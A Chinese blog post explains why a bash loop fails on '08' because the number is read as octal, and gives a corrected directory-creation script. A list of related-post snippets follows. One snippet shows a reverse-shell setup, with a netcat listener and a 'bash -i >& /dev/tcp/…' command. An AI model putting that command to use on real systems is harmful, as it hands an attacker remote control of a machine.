Linux下Shell程式設計錯誤記錄
錯誤描述:((: 08: value too great for base (error token is “08”)
編寫指令碼建立給定字首的31個目錄。程式的目的是建立31個目錄,但是建立到第8個時出現了錯誤,錯誤描述如上。推測提示的含義是:系統將08看做八進位制資料了,08對於八進位制資料來說又是不存在的(有待證實)。
dirname="201612"
for((i=1;i<=31;i++))
do
if [ $i -lt 10 ]
then
i=0$i
fi
dirname=${dirname}${i}
mkdir $dirname
dirname="201612"
done
將上述程式改為以下程式則能正常執行。
dirname="201612"
for i in {1..31}
do
if [ $i -lt 10 ]
then
i=0$i
fi
dirname=${dirname}${i}
mkdir $dirname
dirname="201612"
done
相關推薦
Linux下Shell程式設計錯誤記錄
錯誤描述:((: 08: value too great for base (error token is “08”) 編寫指令碼建立給定字首的31個目錄。程式的目的是建立31個目錄,但是建立到第8個時出現了錯誤,錯誤描述如上。推測提示的含義是:系統將08看做
linux下shell 程式設計之擴充套件正則表示式
1. ‘+’ 限定字元 +限定符表示前面字元至少出現一次或者多次。與*不同在於0次或者多次 2. '?' 限定符 ?限定前面的字元最多出現一次。即出現0次或者1次 3. 數線 |和圓括號() 例如
Linux下shell程式設計例項
1.用while語句建立一個根據輸入的數值求累加和(1+2+3+。。。。+n)的shell程式。 while 若干個命令列1 do 若干個命令列2 done 結構 #! /bin/b
linux下shell程式設計print與printf的區別
1,print是ksh的內建命令,而printf是bash的內建命令 2,print 中不能使用%s ,%d 或%c; 3,print 自動換行,printf 沒有自動換行。 比如下面指令碼的輸出:
linux下shell程式設計總結
概念 shell是一種弱型別、解釋型語言,不需要編譯,只需要一個直譯器,這裡我們用bash。 輸入如下命令: more /etc/passwd 可以看到: 當前使用者root登入的時候,預設開啟的命令列使用者介面就是bash,在這個bash中輸
linux 下shell 程式設計之變數及數學運算
1.shell中的變數是不分資料型別的,統一按照字串來儲存 2. bash shell只能支援數學整數運算(zsh可以支援浮點) 3.以下都是在bash shell 下進行的數學運算 方法一使用方括號進行基本的整數運算: #!/bin/bash var1=1 var2=2
linux下shell程式設計除錯方法,gdb工具的使用
原帖:向日葵智慧前言windows 的介面操作非常豐富,對程式開發也是如此,各種強大的 IDE 真是非常方便。轉入 linux 程式設計後,沒有介面,用 vim gcc 搞程式開發,一開始還真是不適應。現在用的多了,反而習慣用 linux 開發了。但是,沒法除錯程式真是太痛苦
Linux下Shell程式設計之算術運算和邏輯比較(數值型別、字串型別、檔案型別)
shell程式設計中的算術運算和邏輯比較,主要根據不同運算物件,採用相應的比較、運算方式。 一、數值型 算術運算 ,以變數自增1為例,+ - * / % 等運算方式同理,運算的方式大體四種: i=`expr $i + 1` let i+=1 , let的操作成員不需要
linux下socket程式設計“Broken pipe”錯誤
工作需要,對接伺服器的時候,客戶端傳送資料報錯“Broken pipe” 原因是對一個已關閉的套接字write兩次 細節講解參考:https://www.cnblogs.com/jingzhishen/p/3453727.html demo 客戶端程式碼: #i
linux的Shell程式設計題目輸出記錄最多的IP
一個文字型別的檔案,裡面每行存放一個登陸者的IP(某些行是重複的),寫一個shell指令碼輸出登陸次數最多的使用者。 Ip_input.txt的內容假設如下: 219.217.49.14 175.43
Linux下C程式設計-----IO/檔案操作/記憶體對映 實現簡單記錄儲存(3)
利用linux下的檔案記憶體對映可以實現程序共享資料,我們可以把一個檔案對映到虛擬記憶體中使多個程序進行共享, 到這裡我們大概能想到他能應用到的領域 是很廣泛的 主要涉及到 mmap munmap msync 三個函式的應用 下面貼程式碼 下面一段程式碼是為檔案
linux中shell程式設計console下,識別up\down\left\right按鍵
今天嘗試在LINUX下使用 shell程式設計實現“俄羅斯方塊”,在識別up\down\left\right按鍵時,出現問題。 解決辦法: 1、在shell中輸入“showkey -a” 2、在提示輸入中,輸入箭頭,例如:“<--” 3、視窗將返回3個字元(ascI
轉:linux下shell顯示-bash-4.1#不顯示路徑解決方法
所屬組 再次 修改 root 顯示 lin 解決 use .bashrc 幾個可能導致的原因: 1 用戶的家目錄所屬組被改為root,解決方法使用root執行cd /home/;chown username:username username 2 用戶的家目錄被修改,這個時
Linux下shell反彈
shell反彈服務器192.168.22.134開啟端口監聽,監聽端口1234nc -lvnp 1234++++++++++++++++++++++分割線+++++++++++++++++++++++++++客戶機192.168.22.136開啟反彈bash -i >& /dev/tcp/192
linux下shell顯示-bash-4.1#不顯示路徑解決方法
area 不用 source 解決方法 cal pro sin key -bash-4.1 在linux shell中不顯示路徑了,顯示為-bash-4.1#用起來很不方便。 如何改為顯示路徑的shell呢? 步驟如下: vim ~/.bash_profi
Linux下Shell重定向
amp 操作 tab /dev/ 輸出重定向 esc /etc cal 信息 1. 標準輸入,標準輸出與標準錯誤輸出 Linux下系統打開3個文件,標準輸入,標準輸出,標準錯誤輸出。 標準輸入:從鍵盤輸入數據,即從鍵盤讀入數據。 標準輸出:把數據輸出到終端上。 標準錯誤輸出
Linux下Shell命令的輸出信息同時顯示在屏幕和保存到日誌文件中
blog inux -a 輸出 輸出內容 使用 col 文件中 信息 #直接覆蓋日誌文件 ls -l | tee ./t.log #將輸出內容附加到日誌文件 ls -l | tee -a ./t.log 使用的是tee命令Linux下She
[轉] linux下shell中使用上下鍵翻出歷史命名時出現^[[A^[[A^[[A^[[B^[[B的問題解決,Linux使用退格鍵時出現^H解決方法
XA TP brk 因此 上下 參數 csdn def 無法 [From] https://www.zmrbk.com/post-2030.html https://blog.csdn.net/suifengshiyu/article/details/40952771
Linux 下shell中exec解析
uil 當前 等等 不同的 exe inux 影響 區別 scrip exec和source都屬於bash內部命令(builtins commands),在bash下輸入man exec或man source可以查看所有的內部命令信息。 bash shell
Linux下shell腳本監控Tomcat的狀態並實現自動啟動
自動啟動 shell腳本 inux date monit 自動監控 訪問 shel -c 最近公司需要在Linux下監控tomcat的服務,一旦tomcat服務存在異常或者宕機,重啟tomcat保證服務的正常運行,由於Linux下有Shell腳本可以實現此效果,下面是Lin